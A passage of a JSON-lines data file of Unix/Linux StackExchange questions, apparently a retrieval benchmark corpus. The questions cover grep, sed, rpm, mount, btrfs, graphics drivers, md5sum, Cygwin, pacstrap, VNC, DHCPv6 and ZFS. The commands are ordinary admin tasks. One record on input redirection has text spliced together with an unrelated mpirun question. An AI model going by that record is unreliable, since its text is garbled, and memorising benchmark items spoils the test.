software?"} {"_id": "86523", "title": "Numbering the output of grep", "text": "When we're filtering the output with grep, is there any way we can get line numbered output, like we get with `cat -n`? I'm not asking for the `grep -n` option which shows the line number of the match in the file. The scenario I want to use it in is that when I download multiple files using aria2, I usually filter the output with keyword NOTICE which gives me some output every time a file download is completed. But I have actually no way of knowing how many files have been downloaded."} {"_id": "86527", "title": "Print a text file from a line number to another after searching for the lines", "text": "I want to print a text file from `X` line number to `Y` line number The value of `X` & `Y` is determined by searching for a specific line in the text file(in this case the page number) I search for the line by the following command echo -n |grep -nr \"Page # 2\" FileName.txt |cut -f1 -d: ; echo -n |grep -nr \"Page # 3\" FileName.txt |cut -f1 -d: for which I get an out put > 67 > > 128 I want to feed this output to the command below sed -n 'X,Yp' FileName.txt But I get them as two different lines how can i feed it to the `sed` command There after I want to feed the result of the above command to the `lp` command something like this... sed -n 'X,Yp' FileName.txt | lp -dmyprinter Can this be done without creating a file?"} {"_id": "14065", "title": "How does rpm resolve library dependencies?", "text": "I try to make a package of a program which is linked to such library (output from ldd): > libwx_baseu-2.8.so.0 => /usr/lib64/wx-2.8-wxcontainer/libwx_baseu-2.8.so.0 Pretty straightforward, right? But when I make a package of this program (with rpmbuild) and then try to install it, rpm complains about missing library (this one above): > error: Failed dependencies: > > > libwx_baseu-2.8.so.0()(64bit) > libwx_baseu-2.8.so.0(WXU_2.8)(64bit) > My guess is, rpmbuild set the dependency for the main lib directory, i.e. /usr/lib64. **Question** -- how to fix this issue (ok, one would be forced install, but I would like to avoid it)? I.e. how to build rpm so the dependencies would set for the wx-2.8-wxcontainer subdirectory (for this library)? openSUSE 11.4, if this matters. ## Edit I can install such package with --nodeps which forces installation, and after that install program works perfectly. So clearly, rpm or rpmbuild has issues, not the system itself."} {"_id": "14063", "title": "returning strings corresponding to shell glob matching", "text": "Suppose I have a subdirectory called `sub`. Then I want to operate on all files in that directory with the extension \"txt\". I want something like for f in sub/*.txt do enscript -b \"\" -o {$f basename excluding .txt}.ps sub/{$f basename excluding .txt}.txt ps2pdf {$f basename excluding .txt}.ps {$f basename excluding .txt}.pdf done So if there was just one file in the `sub` directory of the form `*.txt`, say `sub/foo.txt`, the script should expand to enscript -b \"\" -o foo.ps sub/foo.txt ps2pdf foo.ps foo.pdf I generally prefer portable solutions, but it is always interesting to learn about different ways of doing things. So non-portable is Ok, please just mention whether your solution is portable or non-portable. Also, the title is probably not the best possible, so feel free to modify. EDIT: I realized the example as written did not quite make sense, since `foo.txt` was in the `sub` directory, and therefore `sub/foo.txt` would need to be passed to `enscript`. I also changed the -p `enscript` option to the more standard `-o` option."} {"_id": "14060", "title": "Questions on using command mount", "text": "When using command mount for a device, I was wondering about the following questions: 1. Since device file is a parameter to mount, how does one know what the device file for a device is in general? 2. Do I have to create in advance the directory to which the device is mounted to, if it does not exist yet? I saw this was said to be required, but my CD with name \"mycd\" is automatically mounted to /media/mycd, which doesn't exist beforehand. 3. can a device be mounted to several places, without unmounting? Thanks and regards!"} {"_id": "106065", "title": "Extract multiple lines with secondary keyword search", "text": "I have a text file with multiple log data, I would like to search for 'Keyword-1' in a line, and when it finds the line, to search within that line for another keyword such as 'engine-1'. Then extract the section from the start of 'engine-1' until it reaches a different engine such as 'engine-2'. I would like all 'engine-1' section extracted, that includes all lines between the start and end of 'engine-1'. The end of 'engine-1' is defined by reaching any other number such as 'engine-2' or 'engine-xx'. Note, not all lines contain the word engine, but I still want to extract the 'Data' between 'engine-1' start and 'engine-1' end. Then moved on to the next section in the file and repeat the process by searching for keyword-1 first and finding out engine it uses, and extracted the start/end section of the new different engine. The link between all sections would be 'keyword-1' The text file looks like this: Data engine-1 Data engine-1 Data Data Data engine-1 **keyword-1** Data engine-1 Data engine-2 Data engine-2 Data Data Data engine-2 Data engine-2 Data engine-3 Data engine-3 Data Data Data engine-3 **keyword-1** Data engine-3 Data engine-1 Data engine-1 Data Data Data engine-1 Result should look like this after extraction: Data engine-1 Data engine-1 Data Data Data engine-1 **keyword-1** Data engine-1 Data engine-3 Data engine-3 Data Data Data engine-3 **keyword-1** Data engine-3"} {"_id": "154592", "title": "How to run SSD trim fstrim on btrfs when mounted multiple subvolumes?", "text": "I am using btrfs and have mounted several subvolumes (but not btrfs root). It resides on SSD partition, so I would like to use `fstrim`. Should I call `fstrim` on each mountpoint (corresponding with different subvolume each) ? Or do I need to have btrfs root mounted and run `fstrim` on this mountpoint?"} {"_id": "153205", "title": "Confused about the purpose of MESA with proprietary nVidia drivers", "text": "Since a MESA upgrade today (10.2.5-1 -> 10.2.6-1 in Debian Sid, which is _unbearable_ lately, keep away), I noticed 3D-dependant applications complaining about missing the software rasterizer `swraster` - `compiz` (standalone) won't even start any any more, glxgears is extremely choppy etc. Aside from the usual \"fun\" fixing this that I'm already in the middle of (pointers welcome, downgrading didn't work), this demonstrated me once again that I don't understand how 3D rendering works on Linux. So, my question is: Why is MESA even interacting with this - and why do I even need it installed? Isn't it a free implementation of the same things the proprietary nVidia drivers provide as well? Shouldn't any 3D use by X11 go directly to the proprietary drivers' APIs? On the project's site itself, they specify that they either interact with open source drivers (`nouveau` in this case, which doesn't support my card), or do things in software, which I obviously do not want. My nVidia drivers were installed through sgfxi, i. e. not from Debian's packaging system, but I don't think this would make a difference - for instance, libcairo2 rigidly specifies it needs MESA, period. (And also, why do I need to ask these question to simply run a 3D application...) If this is what's happening, it would explain why my performance in 3D games is so absolutely frustrating, but I somehow can't believe that things are _this_ counterintuitive..."} {"_id": "76304", "title": "How do I make the CLI run on dedicated graphics?", "text": "I just finished my Gentoo minimal install and the first thing I wonder is why I get no picture. I did have signal on the live CD, so that was pretty odd. I plugged the monitor into the Intel HD Graphics HDMI output instead, and there was my picture. There's just this issue, I have 3 monitors. I need the AMD drivers, so I go ahead and install the proprietary ones, because I have the best experience with those. In order to do that, I had to recompile the kernel with some settings off and on to enable the AMD KMS. I have no idea what it is, but it worked fine following this guide (for my Sapphire Radeon HD 7970). I'm aiming to install XFCE 4, so I also had Xorg installed. emerge xorg-server ati-drivers I ran `startx` and got the picture I expected on the monitor plugged into the Intel HD port. Now I stopped the x-server again and ran `aticonfig --initial` and rebooted. I already know that aticonfig only updates xorg.conf and when I started x again it appeared on the correct monitor. The only thing bothering me now is that the CLI before starting x is STILL on the integrated graphics monitor. How do I get this sent to the dedicated graphics card as well?"} {"_id": "106062", "title": "How can I find the amount of memory consumed by a process?", "text": "How can I find the amount of main memory consumed by a process using `ps aux`? I have a process which runs for half an hour. Is it possible to find the maximum amount of main memory consumed by it using `ps aux`? I tried to run `ps aux` but it only gives me the amount of memory consumed at the time I ran it. I do not see how I can find the maximum amount of main memory consumed by the process. One option is to run `ps` again and again and to keep looking at the output. I do not find that option feasible enough. Is there any other way out in Linux?"} {"_id": "3243", "title": "unable to change window name openbox", "text": "I am using openbox and usually, I have a lot of windows on the screen. One window for the browser and a couple of windows to run a few terminals. The problem is that, when they are minimized, I am not able to figure out what I was doing in which terminal and having to open each terminal to check and see what I was doing is too cumbersome and time consuming. Not to mention, it also disrupts the flow of work. I mostly spend my time programming. So I thought, it would make sense to change the name of the window in the title bar so that I can see what I was doing in it even when it is minimized. But unfortunately, openbox does not provide an option to change the name in the title bar of the window or maybe it does and I don't know. I've googled and I couldn't find anything that could help me. I would like to know if there is a way to change the title of a window in its title bar so that I can see what I was doing in it, even when it is minimized. Thank you."} {"_id": "3247", "title": "understanding \"mount\" as a concept in the OS", "text": "I want to understand what _mounting_ is. It is used in different contexts and situations and I can't find resources which: 1. Describe the **mount** concept 2. Explain the actions taken by the computer/OS/utility when a **mount** is performed 3. How and in which situations **mount** is used 4. Which features in the Linux **mount** command are of frequent use and some examples ( I hear **mount** applied to diverse entities directories, flash drives, network card, etc )"} {"_id": "3246", "title": "What is the preferred way to install new versions of software?", "text": "I have installed Ubuntu Server 10.10 and now I want to install some software like PostgreSQL, Nginx and PHP. But what is the preferred way to get the latest stable version of the software? E.g I tried with `sudo apt-get install postgresql` but that installed version 8.4 of PostgreSQL but 9.0.1 is the latest version. I have had this issue before with NginX. The solution was then to download the sourcefiles and compile the latest version which took some time. Later a friend told me that wasn't a preferred way to install software. Any recommendations?"} {"_id": "76302", "title": "Why some gnome-terminal tabs look depressed", "text": "On my Ubuntu 12.04 Linux 3.2.0-43-generic system with AMD Athlon 64 X2 5000+ cpu, with Unity desktop, ubuntu-2d desktop-session, and Metacity window manager, some of the tabs on a GNOME Terminal 3.4.1.1 display look like depressed buttons, while others don't. The appearances when I click a tab and then click in the pane are illustrated below (in five pictures, for five tabs left to right). ![tab 1021](http://i.stack.imgur.com/bmcVq.jpg) ![tab sp](http://i.stack.imgur.com/zFgdw.jpg) ![tab bc](http://i.stack.imgur.com/oW5sf.jpg) ![tab py](http://i.stack.imgur.com/x6Zq0.jpg) ![tab ipy --pylab](http://i.stack.imgur.com/utG6N.jpg) When the pane for tab 1021 is in use (first picture), the sp tab looks like a depressed (or perhaps selected) button. When the pane for tab sp is in use (second picture), other tabs properly look unselected. When the pane for tab py is in use(fourth picture), the ipy --pylab tab looks selected, and vice versa. Question: Why are some tabs displaying differently than the others? Note, for reference the picture below shows the appearance after the sequence of clicking the ip --pylab tab and then the 1021 tab (without clicks in panes). ![enter image description here](http://i.stack.imgur.com/lWVN9.jpg)"} {"_id": "70752", "title": "the use for echo without argument in shell scripting", "text": "I have a following bash script I encountered on the web that prints the power set of a given lines of elements. p() { [ $# -eq 0 ] && echo || (shift; p \"$@\") | while read r ; do echo -e \"$1 $r\\n$r\"; done } after the first `&&` there is `echo` that does not have any argument. Here is the code to test it: p $(echo -e \"1\\n2\\n3\")"} {"_id": "70753", "title": "How to echo output of multiple commands into md5sum?", "text": "Okay so I have a somewhat large file (~200 meg) that I need to regularly hash to see if it has changed. The catch is that there are two small fields in this file which must be ignored as they may change. Each of these fields has a known and fixed offset and size. I have got this working using three cmp commands, however because this needs to be done regularly I'd like to do it in the most efficient way possible. Also it is problematic to have to store a backup copy of the file, and would be much better to just store a hash to compare against. So far the closest I've got is something like this: dd read from start of file up to offset of first field | md5sum dd read from end of first field up to start of second field | md5sum dd read from end of second field to end of file | md5sum Is there any way I can redirect the output of all three of those dd commands into one md5sum instance so I can get a single hash out? I'd rather not have the three dd commands write into a temp file and then hash that as it would be a lot of I/O. I'd like to do it as efficiently as possible. Any suggestions would be greatly appreciated!!"} {"_id": "70756", "title": "When should I use input redirection?", "text": "I used the following two commands to produce the same results:- [root@localhost ~]# grep line comments The line should start with a single quote to comment in VB scripting. Double slashes in the beginning of the line for single line comment in C. [root@localhost ~]# [root@localhost ~]# grep line output But it isn't working. What I want it to do is to use the HERE file as input to the mpirun command, and then pipe the output to the tail command. However, I think the HERE file and tail output things are getting confused. How should I write this so that it does what I want?"} {"_id": "31285", "title": "Why doesn't my new cygwin .bashrc interactive check work?", "text": "I just updated Cygwin and the new `.bashrc` contains this line right at the top: echo \"BEFORE TEST\" # If not running interactively, don't do anything [[ \"$-\" != *i* ]] && return echo \"AFTER TEST\" I understand if not running interactive, you don't need to do anything, but my problem is that if I `ssh` with a command: ssh localhost pwd I see this: BEFORE TEST So, obviously, it fails the `[[ \"$-\" != *i* ]]` test and returns. Obviously `ssh localhost pwd` is a trivial example, but I expect `.bashrc` to be run all the way through if running a command through `ssh`. My actual automation runs commands remotely against this cygwin instance and is failing because the path (which is set by my `.bashrc`) is not getting set correctly. Furthermore, can anyone explain what that test is actually doing? What is `i`? What is `$-` supposed to represent?"} {"_id": "71402", "title": "Arch Linux: \"error: failed to commit transaction (conflicting files)\"", "text": "I'm trying to install an Arch system, and every time I run `pacstrap /mnt base base-devel` I get error: failed to commit transaction (conflicting files) filesystem: /mnt/lib exists in filesystem ==> ERROR: Failed to install packages to new root I checked the beginner's guide on the ArchWiki and as far as I'm concerned I'm not doing anything wrong, but I do have 7 GPT partitions, one of them mounted to `/mnt/lib`"} {"_id": "38777", "title": "How frequently are updates sent to a VNC client?", "text": "I am trying to understand how the VNC mechanism works. The RFB protocol 3.8 specifications say : > The update protocol is demand-driven by the client. That is, an update is > only sent from the server to the client in response to an explicit request > from the client. This gives the protocol an adaptive quality. The slower the > client and the network are, the lower the rate of updates becomes. With > typical applications, changes to the same area of the framebuffer tend to > happen soon after one another. With a slow client and/or network, transient > states of the framebuffer can be ignored, resulting in less network traf\ufb01c > and less drawing for the client. It seems that this implies that the server will only ever send a `FramebufferUpdate` if the client sends a `FramebufferUpdateRequest`. Then the client must be sending these packets at a regular interval. However, when I analyzed through wireshark, I observed that this was not the case. When there was no screen or pointer activity, I did not see any packets from the client to the server. When I created some screen activity on the screen without involving the client, (I ran `xclock` by setting display to that value) the first message was from the server to the client and not a request from the client. So my question is: **Is it indeed true that the server will only send updates if the client requests them and not every time there is screen activity?** What is the frequency of updates in either case?"} {"_id": "127407", "title": "DD-WRT: dhcp6c not fetching new address for ppp0", "text": "I'm currently trying to configure my DD-WRT-based router to do IPv6. Now I'm at a point where it works fine - until the line is disconnected and reconnects (which happens at least every 24h... for a country renowned for its engineering, Germany is still surprisingly backwater when it comes to internet). Not giving out static IP addresses, my provider requires me to fetch the configuration using DHCPv6, which I then propagate into to my localnet. But when `ppp0` is disconnected and reconnected, `dhcp6c` does not fetch a new address and subsequently `radvd` does not advertise the change. I created a script `/jffs/etc/config/ipv6.ipup` which restarts all the associated services and it works when I invoke it manually. So even though the documentation says that all `*.ipup` scripts in that directory should be automatically invoked when the configuration state of the WAN interface changes, it's apparently not happening. Preferably I'd have `dhcp6c` and `radvd` notice the change automatically without completely restarting them, but if you know how any way to solve this configuration, I'd be grateful for any tips."} {"_id": "38771", "title": "Where to find acpi mailing list?", "text": "Was this mailing list dead: Acpi-devel -- Defunct ACPI Development Discussion List What other source can I utilize , just want to find the developers of `acpid`"} {"_id": "38773", "title": "vmlinuz and initrd not found after building the kernel?", "text": "After configuring and building the kernel using make, why don't I have `vmlinuz--default.img` and `initrd-.img`, but only got a huge `vmlinux` binary (~150MB)?"} {"_id": "147384", "title": "change boot order", "text": "I have 2 partitions `sda1` XP and `sda2` CENTOS. I have reinstalled `grub` on `/dev/sda` but on rebooting, I experienced: `error : 22 no such parition` for Centos; while Windows boots charmingly on the other. `fdisk -l` gives `sda1` as boot, is there a possibility that I can change it to `sda2` on `shell`, since I am on rescue mode."} {"_id": "38779", "title": "How can I setup a wifi access point to only allow users if they accept an EULA?", "text": "I need to setup an access point to only allow users through if they first accept an EULA. To make things slightly simpler, I'm looking into doing this with a unix machine that shares the connection from ethernet to people on wifi. What would be the best way to approach this ? I was thinking at * redirecting all new http connections to the EULA page and once the user clicks ACCEPT, adding ip+mac in a table and filtering everything else * Redirecting with dnsmasq (though I have no idea how to make it stop redirecting once the user clicks accept) Any advices ?"} {"_id": "113626", "title": "Maximum password length", "text": "Is there a maximum password length on unix systems? If so, what is that limit and is it distribution dependent?"} {"_id": "30563", "title": "24 hour crash course in ZFS... some final questions", "text": "Due to various circumstances I've given myself a crash course on the ZFS file sytem. I need some help getting comfortable with the unknowns. Whatever those are. Data: * Running www.zfsonlinux.org on CentOS 6.2 * I have an array with 12x2TB sata disks. * I created a raidz2 pool and a couple zfs file systems inside that. * Performance is better than I expected. (How often do you get to say that?) Some questions: * What type of maintenance should I schedule? I have read that doing a \"zpool scrub\" is advised. At what interval would you run this? Is there anything else to do? * Is there any performance monitoring other than \"zpool iostat\" - snmp? * I need to be alerted by email or similar about disk failures, etc.... What are my options?"} {"_id": "30562", "title": "Autodetect modem in Linux?", "text": "Is there a way to autodetect modem devices in Linux and then symlink them to `/dev/modem` using a udev rule? Currently, I wrote a program that probes each serial port, sending `AT` and waiting for `OK`. I have a udev script that runs this for every ttyS and ttyUSB device. However, I've now been informed that there's other devices, such as OBD-II diagnostic bridges, that also speak with AT commands."} {"_id": "137588", "title": "How to recover NTFS drive formatted in ext4?", "text": "I just installed Linux Mint 17 and when it asked me where to install it I selected the option to overwrite the old Mint 14. Previously I had also windows with NTFS partition of 900GB. Not it is all formatted into ext4 and all the information of almost 800GB is lost. Please advise what I can do in this situation. It was light format so there should be a way to recover some of the info I have lost. Is it a good idea to format back to NTFS and try some recovery programes or something like HIREN CD?"} {"_id": "30568", "title": "How to check and block processes connecting to internet directly?", "text": "Is there a way to find which processes in my system are getting connected to net automatically. Is there a way to select and block net access of some processes permanently? I use mint 11. I use a USB datacard."} {"_id": "76753", "title": "pulse-audio does not recognise my Logitech mic and my Webcam mic", "text": "I use the (great) AK5370 microphone for Skype, but it is not recognized by my archlinux i86_64. It also fails to recognize the mic on my Logitech Webcam (PTZ, which I do not use). Both are connected through the monitor's built-in hub, and both work through hubs an another system. Both work on the same hardware with Ubuntu and Windows. Here they are on lsusb\u2026 ~]# lsusb Bus 001 Device 002: ID 03f0:2524 Hewlett-Packard LP3065 30\" Monitor Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 001 Device 003: ID 1532:001c Razer USA, Ltd RZ01-0036 Optical Gaming Mouse [Abyssus] Bus 001 Device 004: ID 04ca:002a Lite-On Technology Corp. Bus 001 Device 005: ID 0556:0001 Asahi Kasei Microsystems Co., Ltd AK5370 I/F A/D Converter Bus 001 Device 006: ID 046d:08cc Logitech, Inc. Mic (PTZ) But not on aplay's list-devices... ]$ aplay --list-devices **** List of PLAYBACK Hardware Devices **** card 0: NVidia [HDA NVidia], device 0: ALC1200 Analog [ALC1200 Analog] Subdevices: 0/1 Subdevice #0: subdevice #0 card 0: NVidia [HDA NVidia], device 3: ALC1200 Digital [ALC1200 Digital] Subdevices: 1/1 Subdevice #0: subdevice #0 card 1: NVidia_1 [HDA NVidia], device 3: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 card 1: NVidia_1 [HDA NVidia], device 7: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 card 1: NVidia_1 [HDA NVidia], device 8: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 card 1: NVidia_1 [HDA NVidia], device 9: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 card 2: NVidia_2 [HDA NVidia], device 3: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 card 2: NVidia_2 [HDA NVidia], device 7: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 card 2: NVidia_2 [HDA NVidia], device 8: HDMI 0 [HDMI 0] Subdevices: 1/1 Subdevice #0: subdevice #0 card 2: NVidia_2 [HDA NVidia], device 9: HDMI 0 [HDMI 0] Subdevices: 1/1 note: card0 mobo card1&2 nvidia graphics (not used) PulseAudio Volume Control reports \"No input device available\". No problem with these devices on other systems Alas... pulseaudio 3.0-3 pavucontrol 2.0-1 skype 4.2.0.11-1 alsa-lib 1.0.27.1-1 * * * Note: the webcam (UVC) with the min (PTZ) is recognized and works. * * * Per _Ignacio Vazquez-Abrams_... (thanks) ~]$ lsmod | grep '^snd' | column -t snd_usb_audio 112569 0 snd_usbmidi_lib 18931 1 snd_usb_audio snd_rawmidi 18742 1 snd_usbmidi_lib snd_seq_device 5180 1 snd_rawmidi snd_hda_codec_hdmi 29298 8 snd_hda_codec_realtek 30893 1 snd_hda_intel 35816 4 snd_hda_codec 145704 3 snd_hda_codec_realtek,snd_hda_codec_hdmi,snd_hda_intel snd_hwdep 6364 2 snd_usb_audio,snd_hda_codec snd_pcm 76860 4 snd_usb_audio,snd_hda_codec_hdmi,snd_hda_codec,snd_hda_intel snd_page_alloc 7330 2 snd_pcm,snd_hda_intel snd_timer 18687 1 snd_pcm snd 58893 19 snd_hda_codec_realtek,snd_usb_audio,snd_hwdep,snd_timer,snd_hda_codec_hdmi,snd_pcm,snd_rawmidi,snd_usbmidi_lib,snd_hda_codec,snd_hda_intel,snd_seq_device And in addition... ]# ls -l /dev/snd total 0 drwxr-xr-x 2 root root 100 May 24 10:07 by-path crw-rw----+ 1 root audio 116, 8 May 24 10:07 controlC0 crw-rw----+ 1 root audio 116, 17 May 24 10:07 controlC1 crw-rw----+ 1 root audio 116, 26 May 24 10:07 controlC2 crw-rw----+ 1 root audio 116, 7 May 24 10:07 hwC0D0 crw-rw----+ 1 root audio 116, 16 May 24 10:07 hwC1D0 crw-rw----+ 1 root audio 116, 15 May 24 10:07 hwC1D1 crw-rw----+ 1 root audio 116, 14 May 24 10:07 hwC1D2 crw-rw----+ 1 root audio 116, 13 May 24 10:07 hwC1D3 crw-rw----+ 1 root audio 116, 25 May 24 10:07 hwC2D0 crw-rw----+ 1 root audio 116, 24 May 24 10:07 hwC2D1 crw-rw----+ 1 root audio 116, 23 May 24 10:07 hwC2D2 crw-rw----+ 1 root audio 116, 22 May 24 10:07 hwC2D3 crw-rw----+ 1 root audio 116, 6 May 24 10:07 pcmC0D0c crw-rw----+ 1 root audio 116, 5 May 24 14:51 pcmC0D0p crw-rw----+ 1 root audio 116, 2 May 24 10:07 pcmC0D2c crw-rw----+ 1 root audio 116, 4 May 24 10:07 pcmC0D3c crw-rw----+ 1 root audio 116, 3 May 24 10:07 pcmC0D3p crw-rw----+ 1 root audio 116, 12 May 24 10:07 pcmC1D3p crw-rw----+ 1 root audio 116, 11 May 24 10:07 pcmC1D7p crw-rw----+ 1 root audio 116, 10 May 24 10:07 pcmC1D8p crw-rw----+ 1 root audio 116, 9 May 24 10:07 pcmC1D9p crw-rw----+ 1 root audio 116, 21 May 24 10:07 pcmC2D3p crw-rw----+ 1 root audio 116, 20 May 24 10:07 pcmC2D7p crw-rw----+ 1 root audio 116, 19 May 24 10:07 pcmC2D8p crw-rw----+ 1 root audio 116, 18 May 24 10:07 pcmC2D9p crw-rw---- 1 root audio 116, 1 May 24 10:06 seq crw-rw----+ 1 root audio 116, 33 May 24 10:07 timer"} {"_id": "154309", "title": "How to fix Mint 16 Desktop crash/freeze after adding second toolbar and enabling/disabling monitor?", "text": "My operating system is Mint 16, forgot what flavor, probably KDE. My desktop crashed after I connected a second monitor, added a second toolbar to the second monitor and then disable the monitor, and then rebooted. After I rebooted, my desktop is now frozen, with a fuzzy blank toolbar. I forgot what the command is to open up the terminal outside of the desktop environment. The last time this happened to me, my friend explained to me that two desktops were running at the same time and a \"watcher\" program was disabling the second desktop environment while a \"checker\" was re-enabling the second desktop environment at the speed of the computer clock. My conky reports a 100% CPU usage, though I forgot to check the name of the top running programs. The power block was reporting 95 watts continuous. How do I fix my Mint 16 Desktop crash/freeze after adding a second toolbar and enabling/disabling monitor?"} {"_id": "13498", "title": "openSUSE Linux Kiosk Setup", "text": "Working on setting up a kiosk with openSUSE, where users can only view a single webpage. Obviously open to any Linux distro. Also would prefer to use Gnome. I'm wanting only Firefox to be available (which will be displaying a local webpage), a link on the desktop and the home page to open full screen when booted up and logged in automatically. Just interested in some guidance, or if there are any tools that could be used to 'lock down' the system. Thanks!"} {"_id": "83549", "title": "How to use the \"source\" command to do parallel computing?", "text": "For example, I have an executable called `ex01` (C++ program). And I have a text file that contains a set of invocations of this program with different arguments. The text file looks like this: ./ex01 command1 > ex.dat & ./ex01 command2 >> ex.dat & ./ex01 command3 >> ex.dat & ... I can use the `source` command to do this task automatically. But I was hoping to do this in parallel. How can I do that?"} {"_id": "40142", "title": "Installing a gedit plugin on Fedora", "text": "I have been trying to install a gedit plugin called RunC to compile C programs using the text editor. Although the instructions tell me to use ubuntu 9 or 10 for this, I'm currently running Fedora 16. I thought that I would not have much problems, but after running the shell script using the sh command to install the plugin, gedit showed no signs of the plugin being installed. I've made sure that gedit is updated to the current release. Is there something I'm missing from this installation? Additionally, does the file structure of various distributions differ greatly from each other? Will scripts that work for one distro be incompatible with another? Thanks for indulging me with my silly questions. Attached below is the RunC plugin for gedit: http://plg1.uwaterloo.ca/~gvcormac/RunC/"} {"_id": "60299", "title": "How to determine which sd* is usb?", "text": "> **Possible Duplicate:** > How to know if /dev/sdX is a connected USB or HDD? The output of `ls /dev/sd*` on my system is - sda sda1 sda2 sda3 sda4 sda5 sda6 sda7 sdb sdc sdc1 sdc2 How should I determine which drive is which?"} {"_id": "83545", "title": "Initramfs post-update hook", "text": "I need an initramfs hook to call a script after an initramfs has been generated. The Debian Linux Kernel Handbook mentions `/etc/initramfs/post-update.d/`: > Packages for boot loaders that need to be updated whenever the files they > load are modified must also install hook scripts in `/etc/initramfs/post- > update.d`. [\u2026] The arguments given to these hook scripts are the kernel ABI > version and the absolute path to the initramfs image. This is exactly what I need, but this directory doesn't exist on my system. Though the directory `/etc/initramfs-tools/` exists, but it doesn't contain a `post-update.d`. Where is the correct place to hook in such a script? OS: Debian sid"} {"_id": "83540", "title": "Installing a .deb package on Arch - Is it possible?", "text": "The problem is simple - I have a .deb package and I want to install it on my Arch Linux. Is this possible? If yes, how?"} {"_id": "83542", "title": "How to assign tasks to GPU", "text": "I have found a benchmark from computerbase.de (http://www.computerbase.de/artikel/grafikkarten/2013/intel-haswell-grafik- fuer-desktop-pcs-im-test/3/ in german) where in one case a task (here video transcoding) is done by the CPU and in the other case by the (integrated) GPU: ![enter image description here](http://i.stack.imgur.com/NlRjz.png) How can I assign a task (for example video transcoding) explicitly to the GPU in linux?"} {"_id": "147145", "title": "Debian Wheezy live - gparted, dmsg, fdisk etc. do not detect local hard drive but it is shown during installation", "text": "Yesterday I finished backing up my data and it was time to wipe that HDD of mine for good and freshly install Debian Wheezy stable with **Xfce** as a WM. I've booted into a live session to see if things like sound, wireless etc. work and they did without a problem. However I was surprised that after I installed gparted (again: live session) I was facing a single partition with approx 7.5GB (the size of my USB key). Okay, it automatically shows the device where the OS is booted from. However when I looked at the drop-down menu (top right) for selecting a device I saw that only **/dev/sda1 (7.48GB)** was available. No local hard drive at all. I opened the terminal and did dmsg | less after that df -h and finally sudo fdisk -l but all was in vain. The only thing that I'm looking at was my USB key and that's all. Then I decided to see how the installation goes and if the same issue occurs. For my (delightful) surprise when I got to the _Detecting hardware_ and then to the _Partition hard disks_ part there it was - almost 500GB of space. The only thing that's bothering me is the amount of time the formatting takes. Is it normal for a 3 hours of formatting to do only 13% of the 500GB? I remember clearly when I installed Ubuntu 12.04 LTS years ago that it took much less even though back then I also had a dual boot with Win7 and multiple other partitions so the formated space was like 200GB. That's the reason why I wanted to use gparted in a live session in the first place because gparted is usually pretty fast when wiping stuff and at least that I could do in order to boost the installation process of my Debian. Any ideas why gparted, fdisk etc. are not showing my hard disk? I also clearly remember that back then when I installed Ubuntu I also checked the situation with gparted. Even though it was again a live session, everything showed as expected - both USB key and HDD."} {"_id": "47495", "title": "Oldest binary working on Linux?", "text": "In a discussion on backwards-compatibility in Linux kernel and GUI ABIs, Alan Cox notes that \" _my 3.6rc kernel will still run a Rogue binary built in 1992. X is back compatible to apps far older than Linux._ \" So just how backwards-compatible are the Linux Application binary interfaces? _What is the oldest binary executable, actually written and compiled years ago, that will still run on a modern stock general-purpose Linux distribution?_ I'm sure all those words are subject to interpretation. My main notion is that it is not fair to run it via an emulator or specialized virtual machine or binary translator, but some such things are probably built into some modern distros, and learning about that is part of the fun here. Variations by hardware architecture, executable file format, language, and major library dynamic loading dependencies are also of interest. Note, when the rules are relaxed, here's one example of going further back. The 2002 web page Running a.out executables on modern Red Hat Linux talks about using _really_ old Linux pre-ELF a.out-format executables after doing `modprobe binfmt_aout` and obtaining `/lib/ld.so` and `libc.so.4` Again that's of peripheral interest for this question, but illustrates the sorts of things that can be involved when digging further back. **Update** for you BSD fans, it's great to see that iBCS2 was supporting old Xenix apps (like zork/dungeon-2.5.6 from 1990) and SCO OpenServer 5.0.x apps as recently as NetBSD 4.0.1 (from 2008): iBCS2 & NetBSD | Fun with virtualization. But the same thing seems broken in NetBSD 5.0.x. **Update 2** : One year later, after even getting an \"Announcer\" badge for this question, I'm still looking for an answer. And to clarify, since this is about APIs, it should be a \"real\" binary (non-zero length), that still at least mostly works in the original way."} {"_id": "47494", "title": "PPTP with dhcp only for clients", "text": "I have a local network at home with a router and a small server. The router manages the local network (DHCP, etc) but does not support PPTP. On the server (Ubuntu 12.04) I set up pptpd and this is working fine ... except that the dhcp3 server started by pptpd is now conflicting with the router. My other systems get answers from two DHCP servers - and not all of them are able to handle it properly (namely my Android tablet). I have no idea where to start fixing this (except using static IP addresses for my VPN). Any ideas would be appreciated."} {"_id": "18189", "title": "Find FreeBSD ports that depend on another port", "text": "I have a headless FreeBSD server where some port has installed tons of X11-related packages. I would like to find out what these ports are so I can get rid of the unwanted X-related packages. Is there a way to figure this out?"} {"_id": "47492", "title": "What is the best way to find a list of several strings within a large text file", "text": "The short, general question is: In Unix/Linux, what is the best way to find a list of several (about 150) strings within a large text file? I am asking this to all Unix/Linux experts as a general question, in the hopes that I can find a solution that pertains to my particular case: I have a feeling this is going to take a little tinkering. I have a large text file (actually, an MVS dataset) on an IBM Unix System Services (USS) machine-- I believe it is somewhere around 6GB. I also have a list of about 150 5-character identifiers in the format AAAAA that I need to find within this file-- that is, I'd like to extract rows from the file that contain any one of the 150 the specific identifers that I am looking for. The format of each line in the large file is: 00000000000A00000000000000000AAAAA\\n where 0 represents a digit, and A represents an alphanumeric character. The string that I'm searching for is always at the end of the row. Working with datasets seems to be a little awkward in USS, and I am not able to copy it over into the Unix environment because it is too large. The standard Unix utilities don't all operate on datasets (dd for example); however sed, awk, and grep seem to work to some degree (although the command line switches seem to be a bit different). I can grep the dataset as follows: cat \"//'MVS.DATASET'\" | grep -e\"LOOKFOR1\" -e\"LOOKFOR2\" -e\"LOOKFOR3\" > output_to_file.txt However, it won't allow me to grep for all 150 items on one line; I could split it up and run it several times, but I feel like there should a better way. I tried using a sed script as follows, but I don't know sed at all, and I got an error that said \"garbage after command\". I saved the 